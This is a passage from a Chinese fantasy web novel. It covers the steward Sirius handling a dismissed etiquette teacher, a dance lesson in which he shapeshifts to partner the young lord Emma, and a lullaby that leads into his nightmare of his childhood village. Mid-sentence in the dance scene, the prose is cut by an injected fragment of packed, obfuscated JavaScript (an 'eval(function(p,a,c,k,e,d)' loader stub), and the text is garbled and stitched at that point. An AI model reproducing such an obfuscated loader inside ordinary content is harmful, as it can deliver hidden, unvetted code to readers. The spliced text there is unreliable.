他看着那一半漂亮、一半扭曲的签名想。 “听说艾玛大人的礼仪教师,那位桑戴佩拉女士——被辞退了?” 城堡里发生的事,传到女仆长耳朵里总是很快的。 嘉兰忙完手头的事,顺路找西里斯确认情况。 艾玛的课程变动会影响到城堡里的事务安排,对这些消息,嘉兰总要及时跟进。 “是啊。”西里斯看了她一眼,“不用担心,暂时没有辞掉你的打算。” 嘉兰啧了一声:“用得着你说?就算要辞退我,也是艾玛大人说了算。” 西里斯点点头:“有这样的想法很好。” 嘉兰怀疑地看着他:“你今天心情不错?” “刚刚跟一位贵族谈完话,看你比平时顺眼一点。” “你平时看我不顺眼?” “还行,就是有点烦。” 嘉兰撇撇嘴,从西里斯话里读出了更多信息。 贵族是什么德行,嘉兰当然清楚,对于桑戴佩拉被辞退的原因,她心里大概有了个数。 不过看西里斯的反应,他大概没在那女人手里吃到亏——谁能真的让他闷声吃亏? “‘桑戴佩拉’……她在贵族的社交圈里说话还是有点分量。就这么从领主身边被辞退,肯定心里有想法。我怕她会对艾玛大人造成不利的影响。” “嗯,我有准备。口头上做过提醒了,最近再动动他们家的生意做些警告,如果趋势不对就进一步处理。”西里斯说,“希望她比看起来更聪明一些。” “‘提醒’?”嘉兰好笑般侧过视线,“对我那样的?” “对你可是纯粹的口头‘提醒’,不能更温和了。你还记着仇呢?” “我是在想,纯粹的口头警告很省事。你是觉得我不够有威胁?” 西里斯低了低手里的文件,抬头看着嘉兰饶有兴趣的脸,平静地回答:“不,因为我不跟小孩计较。” 嘉兰额角一跳,咬牙切齿:“你知道我讨厌你哪里吗?” “不知道,不感兴趣。没事的话我要忙了,多蒙先生那边的建设项目草案你下次带给我。再见。”西里斯连贯地说完了一串送客。 嘉兰捏着拳头,犹豫了整整五秒要不要向他比个中指,最终为了证明自己的成熟,只是狠狠地甩上门离去。 西里斯听见房门碰地一声重响,书桌都晃了晃。 他的目光落到文件堆最上,今天刚刚签署的那份协议被关门时闯入的气流推着差点从纸堆上滑落,西里斯伸手拿住了它。纸张又轻又薄。 嘉兰是个理想主义者。西里斯在这晃动的余震里想。 聪明、有激情、懂得变通,心怀善意,既有能力,也有潜力。 他确实欣赏嘉兰的才能和心性,才愿意用更麻烦的方式招揽她。她也不负他的期望。 但是这或许出于年龄的张扬急躁,莫名让他产生了一些多余的熟悉。 西里斯想,他很早以前……是不是也是这种性急的脾气来着? 他沉默一会儿,放弃了深究,把那份协议归档进了架子上的文件册里。 25.舞蹈练习 艾玛很快有了一位新的礼仪教师。 西里斯放弃了原来的思路,着重从教学方式和老师的性格上来挑选,最终选了一位年轻的女贵族。 年纪才二十几岁,别人经常叫她“戴安娜小姐”。 戴安娜刚结婚不久,夫妻双方都是世袭贵族,她保留了母家的姓氏。 但比起姓,戴安娜更喜欢别人称呼她的名字。 因为待在家里太闲,听说小领主要找位礼仪教师后,她主动表达了兴趣。 西里斯仍然提醒,如果艾玛和她相处不愉快,再换一次老师也无妨。 好在这只是个以防万一的提醒,艾玛和这位新老师相处很和谐。 或许因为年轻和出身优越,她反而有一种天真的浪漫主义,也不摆架子,过分地没有一位教师的威严。 休息时间她喜欢跟艾玛叨叨贵族间的八卦,艾玛在这期间甚至记住了好些原本全无了解的贵族姓氏。 西里斯单独向戴安娜解释过辞退上一位教师的理由。混迹于同一个社交场,她们总有要碰到面的时候。 如何应对传闻,回复那些质疑。 这是前一个失误决策的问题遗留,西里斯认为自己连带有帮助戴安娜处理这些的责任。 戴安娜却不很把这事放在心上。听西里斯讲述时散漫地翻覆盯着自己打开的折扇,直到他停下话音才把扇子合上,然后关心起领主城堡今晚佐餐的酒。 戴安娜喜欢酒,近来给艾玛上课总会顺带在这蹭顿晚饭再回家。 这些做派都跟礼仪规矩沾不上边。 戴安娜在社交场上的声名好坏参半,但有人要批评她无礼时,她又能收放自如地展现出最优雅标准的仪态。而且,她跳舞实在太漂亮。 戴安娜说那是因为兴趣。 从小礼仪课太严格,只有舞蹈部分还算有趣,练着练着就练上来罢了。 “从前我们受过的苦,干什么一定要让孩子们再受一次呢?” 戴安娜这样说,转头就问艾玛要不今天她们出门野餐吧。 对,野餐也有野餐的礼仪,早晚有用得上的时候。 西里斯不好评价。 因为艾玛看起来确实开心,在课程目标和艾玛的情绪之间,最终还是优先了后者。虽然他确实有那么一阵子真的疑心戴安娜只是来蹭吃蹭喝的。 戴安娜对他其实算客气,虽然她说话时总是懒得看他的眼睛。 因为名义上的奴隶身份,对他态度更差的人比比皆是,西里斯已经很习惯。他对这些本也没什么所谓。 但某天一个课程结束的傍晚,斜里一柄折扇截住他。 西里斯有点意外。 戴安娜零零碎碎向他讲了些艾玛的习惯。 她说礼仪练习重在习惯的养成,不是上课这几个小时听进去就够的。改变她的环境,日常多方面地给出规范和提醒才有效。 缓和些,不要让艾玛太勉强,尽可以慢着来。 做不好的地方用点小聪明掩饰算了,追求完美的才是傻子。还有餐具,设施,方方面面下人们该留心的地方。 想要主人不丢脸,光靠艾玛的努力是不够的。 她絮絮说了一串,才抬抬眼睛:“记住了吗?我想你是记性好的人。” “记住了。”西里斯说,“感谢您的好意。” “我喜欢听那些传言八卦,但只抽出身来当它们是乐子。真往心里去,听什么都信的,就不适合混这样的环境。”戴安娜说,“你关心那孩子,真的为她好,我看得出来。” 她抬起折扇,用扇尾点了点西里斯胸口,盯进他眼睛里:“所以你要当心。孩子总比我们以为的要敏锐,艾玛又格外通透。你是她最亲近的人,她相信你。所以她一定会受你影响。你更必须谨言慎行。” 戴安娜说完,抽回折扇,敲了敲自己手臂:“——我看你不是为这种事沾沾自喜的人,才多说两句。如果你是想跟艾玛保持正常的主从关系,你最好拿着点分寸。如果不是——算了,我管不着。” 她耸一下肩,无所谓地收回眼睛:“你个子太高了,看着眼睛讲话真累——今天晚上你们的小厨师准备的是什么酒?” 一提到酒,戴安娜的眼睛亮起来,声音也上扬,舔了下嘴唇:“你们给厨师开的多高的佣金?我有点想把人挖走了。” “很抱歉,那可不行。”西里斯道。 戴安娜啧了一声。 西里斯看着她离去的背影,回想起桑戴佩拉注视他的眼神,思绪漂移了片刻。 一个人在他人身上看到什么,取决于观察者自身是怎样的人。或许确实是这样。 礼仪课结束之后,艾玛自己也会主动进行一些单独练习,有时还头顶着苹果在走廊上走来走去。 一楼宴会厅附近有间舞蹈房,宴会期间也会暂时作为宾客的更衣室,近来一直空置着,等到艾玛开始在这边上礼仪课,才往里搬了点东西。舞蹈房的窗户掩映在绿色的树叶间,傍晚时阳光正好落在地板上。 房间门板上传来规律的扣击声,艾玛说:“请进。” 西里斯推开门,房间里的音乐从厚重门扉间打开的缝隙迫不及待地钻进走廊。 西里斯看了一眼门边的小桌,留声机的喇叭正朝向他,悠扬地唱着舞曲。 “有什么事吗?”艾玛从练习里停下来,也看了看留声机,“你可以先把它停掉。” “不,没什么,只是想来看看您练习得怎么样。”西里斯关上门,在柔和的舞曲里对她道。 过去西里斯很少来看她的课程情况,更不会参与她的个人练习。 他最近对艾玛的学习情况更上心了一些,大概是对桑戴佩拉的事仍然有所介怀。 艾玛抬起手,在空中做了个挽住某人的姿势:“差不多……动作我已经记住了,还不够熟练。但是一个人练习社交舞果然有点困难,得想象这里有个人。” 她在原地转了一圈,裙摆起伏地画了个圆:“要转圈的部分很多。雪莉和莫妮卡最近都陪着我一起上礼仪课,但她们也只学会了女步。” “这支曲子吗?”西里斯听着乐声推测,“《春之声圆舞曲》……是变奏吧?” “嗯。” “如果是这首……”他沉吟了一下,“我应该会跳。” 艾玛有点惊讶。 她倒不是意外西里斯会跳这支舞曲,而是这话在此情境,有几分邀请的意思。但是—— “西里斯,”艾玛困扰地看着他,说,“你比我高一个托盘啊。” 这个准确的计量单位来自于他们之前的一次测试。 西里斯个子很高,但具体有多高,艾玛也不知道。 根据目测,莫妮卡认为他比艾玛大概高出五个苹果,雪莉则认为他比艾玛高出一只昂首挺胸的大鹅。 很显然,艾玛既不可能顶着五个苹果,也不可能顶着一只鹅去跟他作比较,因此她们在厨房找到了一个跟她们想象距离差不多长的托盘。 这是一个神奇的完美托盘,因为当艾玛把它竖起来支在头上跑到疑惑的西里斯面前时,远处观测的雪莉和莫妮卡笃定地认为,它完美地补足了他们俩之间的身高差距。 知道前因后果后的西里斯无奈地公布了标准答案:191厘米。 嘉兰的身高有174,不算她皮鞋的鞋跟,但她对西里斯的身高一副见怪不怪的反应。 艾玛跟她去过骑兵营之后完全理解了原因,那里的高个子不仅多,有些还高得夸张。 许多混血的身高受到那一半兽类血统的影响,有的矮得出奇,也有的高得出奇。 艾玛那次在骑兵营见到的最高的一位骑士,是人和牛的混血,头顶生着一对锃亮的犄角,据说加上角后全身高三米一,简直是座移动的小山,艾玛看得超震撼。 十三岁的艾玛在一年内努力地长高了五厘米,目前身高152,是非常正常而普通的人类孩子身高。 她也没想过要长成那种巨人的身量,将来的理想身高标准是跟嘉兰差不多。 交谊舞对舞伴的身高有要求,西里斯对她而言,显然是超出这个标准太多了。 “这倒是有办法解决。” 西里斯将手按在胸口,向她微微躬身。 艾玛背着傍晚的阳光,还是怀疑自己眼花,多眨了几次眼睛。 抬起头来的西里斯和她差不多高了,体态五官都变得稚嫩,看起来完全是个与她年龄相仿的少年。 他开口的声音清亮:“变形的法术。我的身体会抗拒所有改变它的魔法,即使有我的允许,也持续不了太久。不过,陪您跳几支舞没问题。” 艾玛一时忘记了其他事,只是愣愣盯着年幼的西里斯。 仍然是暗红的长发、暗红的眼睛,头顶依旧空荡荡的。倒退的时间没有让那片疤痕上生出犄角,也没有翅膀。 “你是……变回了自己小时候的样子?” “只是根据想象稍微修改了一下外表年龄。”西里斯说,“我也不太记得自己小时候的样貌了。” 艾玛懵懵地,点头,自言自语:“有‘小时候’啊……嗯,西里斯也不是一开始就那么高的……” “当然都是一点点长大的。我在您这个年龄的时候,没您高也说不定。” 艾玛摸了摸自己的肚子,低头看了看自己视线距离地面的距离,突然陷入了对于人生的深思。 西里斯调整了唱片上的指针,将它放到舞曲的开始,对艾玛伸出手,行了一个邀请礼:“那么——我是否有荣幸,请您跳一支舞呢?” 阳光落在他眼底,将暗沉的红色映得通透了几分。他的唇边浮着淡淡的笑意。 艾玛听到自己变奏的心跳混进舞曲的乐声,异样的悸动令她困惑。 或许是有点紧张吧,她想。 艾玛没见西里斯跳过舞。自从他们来到这座城堡后,就没有举办过宴会。 艾玛比其他人更清楚西里斯的情况,知道他来到费城之后,从当地民俗政治情况,到语言礼仪,什么都得抓紧学习,难度和紧迫程度比她只高不低。 所以,西里斯说他会跳交谊舞的时候,艾玛的第一感是果不其然的佩服。 在正式和西里斯跳了三分钟后,这份佩服变成了另一种确信—— “西里斯你其实,”艾玛说,“不擅长跳舞吧。” “嗯。”西里斯直接而坦诚地肯定了。 “诶……真的啊,我感觉你有好几次差点踩到我了,原来不是因为我没跟上节拍产生的错觉。”艾玛松了口气,也有点诧异,“我以为西里斯什么都很擅长。” “我不擅长的事其实有很多。不过,在您面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那……其实,我还想试试看跳男步。”艾玛停一下,犹豫地说,“动作记住了,但是还没试过……你会跳女步吗?” “哦。”西里斯讶异道,“您想学男步?” “如果以后要跟女孩子跳舞,两个人都只会女步就没法跳了,很可惜。”艾玛说,“而且,我现在能学会男步的话,就可以陪雪莉和莫妮卡练习。” “女步的话……我会一些,刚刚也跟着您过了一遍,大致记住了,但不能保证跳得好。” “没关系。”艾玛握拳,表现出了充分的觉悟,“你踩我吧。” “哎呀……我会尽量避免的。” 西里斯撩了一下衣角,手里便捏住了一角裙摆。 身体的曲线和服装都顺着他的动作在一瞬间变化,正装变成长裙,面部的棱角也更为柔和。 他将自己变成了一位……女性。 艾玛看着“她”放下裙摆,和她对视,强行按捺自己心中的感情,但仍然变成了震动模式。 西里斯无奈道:“您想笑的话不用忍着。” “噗……不是……咳咳,我没有……想笑……咳咳。”艾玛用咳嗽欲盖弥彰地压下笑声,仍然在震动,“你……把自己变成女生了?” “只是外形上的变化。长裤和长裙在跳舞时会有很大差异,配合您跳女步的话,这样的模拟更准确些。” 艾玛好奇地盯着他的裙子,伸手捏起裙摆搓了搓,布料的触感是真实的:“这是幻觉吗?” “这是用法术变化出的实体。” “那……”艾玛的目光从裙摆上移。 “我没有改变自己的器官构造。其他部分是幻觉,恕我婉拒您的确认。”西里斯说。 艾玛的目光遗憾地顿住了。 她回忆了一下戴安娜小姐上课时的示范,想一想,握住了脖颈上挂着的魔法石。 那穿在绳子上的石块被向下一扯,轻松地从绳上滑落,就好像它不是石头,而是流动的“一块水”。细绳完好无损。 石块在她手中变得柔软,明亮,逐渐舒展,抽出枝叶,开出花朵。 艾玛向他伸出那块魔法石变成的花,另一只手背在身后:“我可以——请你跳一支舞吗?” 西里斯停了片刻,从她手里接过那支花:“您——什么时候学会的?” “一周前。”艾玛说,“想给你一个惊喜。” “转换很流畅……了不起。不愧是……”西里斯打量着花朵,枝干在他指腹间转了一圈,“我之后再把它还给您。” “这块石头的愿望就是变成花,你让它开着吧。”艾玛想想,“但你拿着这个,我们不方便跳舞。我帮你先插到头发上?你介意的话,出门再拿下来好了。” 西里斯依言把花递还给她,站在原地等待。 艾玛探索着帮他插花的角度,忽然意识到,西里斯变化成女性的身形后,身高比第一次更高些。 他们刚刚跳过一支舞,这变化对她来说很清晰。 或许出于傍晚橙红色的光辉,艾玛觉得他的发色似乎也有一些变化。 她插完花枝,拈起了他的发尾。 “怎么了吗?”虽然背对着,西里斯仍然注意到她捏住了自己的头发。 “啊……你的头发,”艾玛细细打量,感到不是光线的错觉,“有点……变成了棕色?” 这句问话落地的结尾有一段空白。很快,西里斯若无其事地回答:“大概吧。我没有注意。” 他隔空拨动唱针,仿佛时光倒流,乐曲回到最初的音符。 西里斯转身,牵起她的手微笑:“我们开始吧。” 26.摇篮曲,噩梦,裂隙 白天的时候还是明亮的阴天,但到傍晚时,天色越发暗沉沉的了。 十月的冷风卷着落叶刮过走廊门前,往未关拢的门窗内带进几片枯叶。 西里斯路过时正听到拐角有两个女佣在议论天气:“好像要下雨了。” “哟,真的。你有没有觉得,这两年雨水特别多?” “这样?我不太清楚。费城本来就是个水多的好地方吧?不像我之前待的那座城市,一年都见不到几粒雨。多下点也好。” “对我们是影响不大。我有个叔叔在城里开花店,前阵子他跟我提到的。花卉嘛,有些品种金贵的很,湿度温度都影响大着,天气变一变都得注意……” “也是。影响大吗?我还想着明年揽花节……” 女佣们闲谈的声音远去了。 西里斯停住脚步,看向窗外。乌云正从天际线上压过来。 艾玛从书上抬起头时,看到墙上的挂钟已经走过了九点。 她看完了半本故事,一边的西里斯手中的书却没翻动过几页。他好像在发呆。 不太常见。艾玛想。 白天他们总有各自的事要忙,所以西里斯时常晚上来房间找她。 他过来的时候,雪莉她们就提早回自己房间歇着了。 西里斯说她们年纪还小,别值夜班,要多睡觉。雪莉和莫妮卡很感动。 西里斯照例会跟艾玛汇报一些工作事项,和她聊聊天,或者看会儿书。 艾玛一度以为他的拜访是工作日程的一部分,会写进计划表的那类安排事项,和他所有体贴妥当、符合礼仪的公式行为相同,是客气的一种形式。 但她慢慢发现,好像不全然如此。 西里斯和她待在一起时,好像确实比其他时候放松一些。 喜悦的火花在艾玛心里微小地一闪。 她喜欢和西里斯待在一起,对方的感受也是相同的吗? 平日里,西里斯一周最多在晚上来找她两三次。今天是星期五。 艾玛在心里扳着手指数了数,他这周已经是第四次在晚上来见她了。 心情不好的时候,艾玛去找西里斯的次数会更多。反推过来,西里斯来见她比平时更频繁,是因为他最近也心情不好吗? 不太能想象。因为什么事都难不倒西里斯,艾玛想象不出什么能让他这么苦恼。 她想着,凑近打量他。 西里斯坐在艾玛床边的椅子上,艾玛细看,吓了一跳。 西里斯的表情很难看。 “……西里……里……” “西里斯!” 他从发愣中惊醒,在一片混沌的回音里被打捞起来,对上一双熟悉的眼睛。金色的眼睛里倒映着他。 艾玛捧着他的脸和他对视,很担忧:“你怎么了?” 西里斯花了一会儿调整自己的脑子,下意识移开视线,轻轻扳开她的手。 艾玛没有坚持,他轻易将她的手移开了。 “抱歉……安魂节快到了,我最近有点……心神不宁。” 艾玛眨了眨眼睛。 安魂节在月末,是一年一度祭奠逝者的日子。 传说里鬼魂们会在这天回到人间;或是在这段时间里,生者与死者间的界限会产生模糊,游荡在人间的鬼魂更容易被活人看见,因此产生了很多白日见鬼的故事。 “你说过,你能听见鬼魂的声音。”艾玛说,“是因为这个原因吗?快到安魂节了,鬼魂们特别吵?还是……我问你的时候,你总说听不到。现在也听不到吗?” 西里斯抬头,看着她的眼睛。 金色的眼睛如月亮一般。月亮亘古不变。 “在您身边,我听不到。”他说,停了一会儿,思索自己的措辞。 这个回答让艾玛很意外。 西里斯说得很慢:“我告诉您,‘我听得到鬼魂的声音’。事实上,我只听得到那些……来自我身体里的鬼魂的声音。” “我的身体里……有很多鬼魂。他们一直在说话。白天,夜晚,无论时间和场合。即使不刻意去听,我仍然能听见。 “靠近安魂节的时候……他们的声音更清晰了,我有点,头疼。”西里斯吸了口气,压了压额角, “在您身边的时候,鬼魂们会安静很多。或许是月神对他们的影响……距离您越近,我能听到的鬼魂声越少。但是安魂节将近,即使现在我还能听到一些……” “时时刻刻都听得见?”艾玛震惊地咀嚼了一遍。 “习惯之后,听起来也就是普通的杂音,可以忽视……” “即使是一点点杂音,如果不间断地一直听到,我一定会天天头痛的。”艾玛说,“你从来没有告诉过我。” “我是自己的诊断医生,我很清楚病灶在哪里,但我无法解决它。既然是无法治愈的‘绝症’,也就不必让您陪我头疼……” 艾玛一把捂住他的耳朵,前倾身子,额头碰到西里斯额头上。 动作幅度很大,也很突然,西里斯措手不及,感觉额头被重重一叩。 艾玛的呼吸和温度近在咫尺,西里斯一时不敢动了。 “这样,还听得到吗?”她捂着西里斯耳朵的手捂得并不严实,声音从指缝和掌根溜进来,在极近的距离钻进他耳朵,反倒带着更清晰的回声, “我是说……这样,听不到鬼魂的声音了吧?” 西里斯沉默片刻:“听不到了。” “那就有效,我能帮到你。”艾玛说,“你可以把我当作你的医生。” 西里斯说:“您没有行医资格。” “你也没有。”艾玛理直气壮。 西里斯没有反驳他曾经在其他国家有过行医执照的事,他在波克奈利确实没去搞过这样的证明。 一直在他身体里回响、在他耳边喧嚣的声音淡下去,久违的安静覆上来,让西里斯原本紧绷的神经慢慢放松了些。 “也没必要近到这个程度……”他低声道,“而且,声音是来自我身体内部的,捂不捂耳朵都没有影响。” 艾玛把手往下滑了滑,露出他的耳朵,将自己的脑袋挪开些距离,打量西里斯的脸色:“你最近是不是都没有好好休息?就算你需要的睡眠时间不长,但还是得睡一会儿的吧?” 西里斯沉思,在他就要开口的时候,艾玛打断他:“别骗我,你都有黑眼圈了。” 西里斯说:“我不可能有黑眼圈。” “好吧,是没有。”艾玛按了按他的颧骨,“但你看起来很累。” “几天不睡对我来说没什么。” “这是硬撑吧?” 艾玛回忆起了过去没放在心上的一些细节。 比如,西里斯的房间里没有乐器一类的装饰;留声机目前还是只有贵族用得起的玩意,艾玛刚接触的时候新奇了好久,办公室里的留声机却甚至落灰了,展示的胶盘永远是同一张。 去年的安魂节他是怎么过的?艾玛不太记得了。 那个月她好像没怎么见过西里斯,他总时不时有要忙的事,所以见不到也没特别放在心上。 是她的魔法变强,对那种声音的安抚效果增强了? 还是西里斯对她更敞开心扉了一些,不介意多依靠她的力量来缓解痛苦了? 艾玛希望是后者。 她觉得有点难过。不单单是西里斯没告诉她这件事的关系,好像还因为别的。 因为那一点点的不高兴,她用命令的口气道:“你闭上眼睛。” 西里斯看着她,想说点什么,但最终闭嘴照做了。 艾玛清清嗓子,低声哼了哼,摸到调子,逐渐将音量提高了。 西里斯听出,那是一支……摇篮曲。 不知道她跟谁学来的,大约是费城本地的民间摇篮曲,用的是带点口音的波克语。 西里斯想睁开眼,但艾玛早有准备,双手挪到他眼睛上盖住了。 她和着摇篮曲,把想说的话唱进词里:“别说话。” 这词跟调子合得倒好,西里斯莞尔了一下。 摇篮曲的调子很低,舒缓而悠扬,像一条又细又弯的河流,在月光下流淌。 女孩的声音唱着:“睡吧/睡吧/天上的星星/睡吧/涌动的河流/睡吧/沙漠和丛林/睡吧/睡吧/疲惫的旅人啊/月亮向你道晚安”。 西里斯听过不少地方的摇篮曲,但很久没有人把摇篮曲唱给他了。 摇篮曲大多是父母唱给孩子入眠,但艾玛唱起这支曲子,好像它本就该是由这样的女孩的声音演唱。 在她柔和的声音和安静的夜色里,沉沉的倦意像潮水上涨。西里斯确实很累了。 那座村庄里有一架很大的风车,风车下面是个磨坊。 磨坊属于村里最好的面包店的老板,他做出来的面包香气扑鼻,总引得玩得筋疲力尽、腹中空空的小孩驻足,看着柜台流口水。 老板人很好,有时会逗逗小孩,让他们帮点小忙,再送面包给他们作为回报。 但回去家长知道了,孩子们总要挨顿训,改天他们会一边照顾老板的生意一边抱怨,让他别宠着这些淘气孩子了。 老板就呵呵笑,嘴上答应了,下次还是偷偷塞。 他小时候经常路过那家面包店,但不是馋店里的面包,对那些跟在老板后面当尾巴讨面包的同龄人深感不屑。 他喜欢的是老板的那座磨坊,磨坊上的风车。 机械的风车在风声里发出吱吱的声音,产生的动力能磨碎谷物。多精巧的构造! 他喜欢这些精妙的机械,常常去观摩那座磨坊如何运转。 老板看了只是哈哈笑,对他父亲说,真是个有个性的孩子,别拆了他的磨坊就好啦。 他父亲嘀咕,家里的钟表老早被他拆了,他还不会修! 村子很小,完全是熟人社会。村头村尾的住民都互相认识,人情淳朴,虽然有往来做生意的商队,街坊邻里仍旧时常以物易物。 他那时候的烦恼很单调,来回来去那几件。 像是第三十五次拆了家里的钟,但装回去的时候有一根指针无论如何不再动得起来了;学堂的老师太古板,说话嗡嗡嗡嗡烦得要命;小伙伴们只想着玩,最多是考虑好了以后继承家里的手艺。 没有理想! 他对朋友们恨铁不成钢,朋友们会给他鼓鼓掌,但最后以理想为主题的小会仍然达成了一致,他们热情地聊起了在哪儿找到了一只稀罕的虫子,个头可大了。 还有一件算得上烦恼,但也不是太大的事。 他有一对“软塌塌”的角,长得像飞鸟的翅膀,但“翅膀”上生的不全是羽毛,一部分是带点韧度的鳞片—— 鱼一般的鳞片,在光下泛着幽幽的蓝色。 这两不像! 他不喜欢这对没用又怪异的“角”,说到底,这东西能叫角吗? 角应该是他在商队里见过的,那种坚硬的,打磨之后甚至锐利的东西。 商队里长角的小孩,能互相顶着角玩,还向他展示怎么用磨尖了的角扎穿一片木板。 那多有趣啊,又很厉害。 但每次这么说,父亲都要对他一番说教。 村子里的人都有这样一对“翅膀”,老人们尤其相信,他们的角是特殊的。 既有飞鸟的羽毛,又有游鱼的鳞片,这两种本来冲突的血脉在他们身上竟得到如此完美的结合,如奇迹一般。 这是海神的赐福,是幸运和荣耀。 他不知道这又干没见过面的海神什么事了。 谁知道那是什么鱼的鳞片,万一人家是河里的鱼呢? 他朴实地问出心中所想,然后趁着他爹到处找鸡毛掸子的时候跑了。 村里许多人信仰海神,他理解不了这种莫名的信仰。 村子离传说中的大海远得很,别说海神,他都没有见过海。 陆上的人,即使真的混了海里生物的血,那也是人啊,海不欢迎他们。他连村子里的河都不喜欢,不喜欢浑身湿嗒嗒的感觉,他更信自己有鸟类的血脉多些。 再不然,比起没人知道底细的大海,天天看得见的太阳也更好。 日神的神殿离他们比海近多了,看得见摸得着,他见过从那里来的人。 母亲劝父亲说,他就是还小,以后慢慢就会懂得了,你别跟孩子较真呀。 她摸着他的头顶,抚过那对蓝色的翅膀,感慨他的角真漂亮,等完全长开了,一定很好看。 她说,你父亲哦,从自己的角上拔下羽毛,塞在情书里送给我,还用我们自然掉落的羽毛,做了客厅壁台上那个摆件。 父亲听到开头耳根就红了,他就在一边咂舌,说嗯老头子还挺浪漫,父亲使劲瞪他。 母亲接着说,等你以后有心上人,你也可以用自己的羽毛去告白…… 他听不得这话,急急忙忙从家里溜了。 听见背后父亲忧心忡忡道说这个是不是还太早了,平时恨不能送他去拆别人家,这时候倒表现出一种怕白菜被拱了的忧虑。 村里有一片地整整齐齐地种着麦子,风吹过发出悦耳的沙沙声。 穿过麦田,后面有一片小小的“森林”。 在干旱的沙漠内陆,森林非常罕见。他们村子得益于一条小河养活,那河在某处汇成一片小湖,也就养出一片矮矮的丛林。 对于没见过真正森林的孩子们来说,这就是“森林”了。 他逃课的时候经常跑去那里。 关于逃课,他很有原则,只逃数学课。因为他不喜欢那个一节课有半堂在叨叨各种说教的老古板,但凡他逃了一次课,老古板还要从剩下半节课里再匀出半节来教训他。这越积越多的,还是不去了。 他仗着自己小有点聪明,学习比朋友们快,基础的课还很简单,逃就逃了。 那些题他都会做,算术比他父亲还快,让本来因为逃课想打他的父亲掸子想落落不下来。最 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西里斯慢慢地睁开眼睛。 他以为自己会更加平静的,因为他已经意识到自己在做梦了。 有多久没有想起那时候的事了?他连一个大概的时间也说不出来。 他不愿意想起来。 他以为自己快忘记了。 可身体在提醒着他没有。 就算经历了如此漫长的时间,那剖开胸膛、挖出心脏般的、鲜血淋漓的疼痛,连细节都是清晰而鲜活的。 他以为他已经忘记了。 但怎么可能忘得了呢? 潜伏在血脉中的、身体每一个角落里的怒火从未熄灭过,它们燃烧起来,蔓延成临界点上的暴怒。身体里的鬼魂在他的情绪下再度躁动,喧嚣着,尖叫着,几近盖过他理智的声音。 “你醒了吗?” 艾玛的声音也带着她那种波澜不惊的秉性,在月色里放大般带着安抚情绪的力量,让那些噪音、那些纷乱的情绪停滞片刻,缓缓被压了下去。 西里斯抓住一点清醒,看清了自己眼前的环境。 他原本躺在艾玛的床上,因为刚刚的情绪不自觉地已经坐起身来。 “啊……我刚刚,睡着了?”他扶着额头,声音很哑。艾玛以为是刚醒的缘故,没有太在意。 “嗯,你太累了。” “睡了很久?” “还好,不到两个小时。”艾玛确认了钟上的时间,对他道,“现在有觉得好一点吗?” 西里斯记得自己失去意识前坐在椅子上,现在却在艾玛的床上。 而艾玛坐在书桌前,已经翻开了一本新书,书页摊开在桌面。 见西里斯盯着被子沉默不语,艾玛做了少许解释:“你坐在椅子上睡着了,但那样睡太累,我就把你移到了床上。” “麻烦您了。” 艾玛的回应让他的情绪平静了一些,西里斯的音色逐渐恢复正常。 他垂着眼,掀开自己身上的被褥。衣服倒还整齐,只有在搬动时被压出的一些褶皱。 他整理着衣服的折痕,低着声音道:“不过,这样还是太不合礼数了。我对您来说,毕竟是异性,借用您的床铺有点过于……” “西里斯的话,没关系。”艾玛自然地说,像在讲一件理所当然的事情,“因为,西里斯对我来说,就像家人一样。” 西里斯整理袖口的动作顿住了。 那些还没彻底压下去的怒火在那一瞬间灼断了他勉强维系的理智,毫无道理的,铺天盖地般湮没了所有其他思考。 西里斯笑了出来。 似乎是愉快的笑声,却缠绕着异样而冰冷的气息。 但他的声音却诡异地变得轻缓,温柔而缱绻地,像在惑人的魔鬼,吐着蜜的毒蛇:“我怎配当您的家人呢。” 这反常的音调让艾玛也莫名战栗了一瞬。 “西里斯?”她问。 他走到艾玛身边,屈下膝,亲吻她的指尖。 “当然……也有人会把自己养的宠物称为家人。如果您有这样的兴趣,我乐于接受。” 艾玛皱眉:“你又说这种贬低自己的话。我从来没有……” “您将来是要杀死我的,这是我们的契约。”他声音里的情绪褪下去,“我不可能成为您真正的家人。玩笑话就点到即止吧。” 艾玛沉默了。 “或许您会想明白的,这未必是坏事,杀死一条狗比杀死一个人来得容易。” 他站起身,翻过桌面上的茶盏,倒了一杯红茶。 艾玛想提醒他茶水已经凉了,西里斯拿起茶杯,面无表情地将杯子和茶水一起倒在了床上。 杯子滚动了半圈,被褥和床单上留下一片水渍,像未能洗净的血迹。 “我去叫人帮您换一床用具。”他没有感情地说,在关上门前作了今晚的告别,“晚安,女巫殿下。” 门锁咔嗒一响。 艾玛在房间里坐着,没一会儿,门又打开了,探进女孩棕色的卷发。 贴身女佣的房间就在艾玛房间隔壁。莫妮卡看起来带着轻微的倦意,揉了揉眼睛。 不知道是不是她的错觉,莫妮卡觉得房间里的安静异常得让人不安,因此开口时的声音也更轻:“西里斯先生说,他不小心把茶杯掉在您床上,弄脏了您的被子和床单,让我换掉它们。” “嗯。”艾玛说,“麻烦你了。” 艾玛的语气听起来很平常,让莫妮卡放下了一些心。 她的动作总是又轻又仔细,关上门,走到艾玛床边,看见了那片惹眼的茶渍。 “雪莉已经睡了,我就没有吵她。我睡得比较迟,刚好还没睡着。嗯,您稍微等一会儿,我会尽快收拾完的。” “我不着急,你慢慢来。”艾玛说。 莫妮卡把茶杯放到桌面,卷起被褥,收起床单。 “西里斯先生……看起来心情不太好。”莫妮卡犹豫着,在收拾时背对着艾玛说,“你们吵架了吗?” “没有。”艾玛否认了,“可能是因为打翻了茶杯,所以他不高兴。” “啊……这样吗,也是呢。”莫妮卡安下心,声音变实了,带着一点点无奈和她惯常的羞涩笑意,“西里斯先生太优秀了,不小心犯了这种错,会比一般人更生气吧。” “或许吧。” 莫妮卡抱着那堆弄脏的床具出去了,因为一会儿还要拿着换置的东西回来,出去时并没有关上门。 艾玛从那半扇门看到一条空空的走廊。 风从房间里没有关上的窗户穿入,翻过她搁置的书页,还未阅读的字章在月光里哗啦作响。 艾玛合上书,默然了好一会儿。 她想,西里斯为什么……生气了? 27.新芽 在十五岁春天里的某一天,艾玛正在桌边看书。 房门砰地一响,带进阳光和走廊上的风,雪莉的声音急急忙忙先于人闯进了房间,劈头盖脸地落到她身上。 “莫妮卡谈恋爱了!” 艾玛从桌上茫然地抬起头,看过去。 被雪莉拽进门的莫妮卡满脸通红,小声抗议着:“你太大声了!别人会听见……” 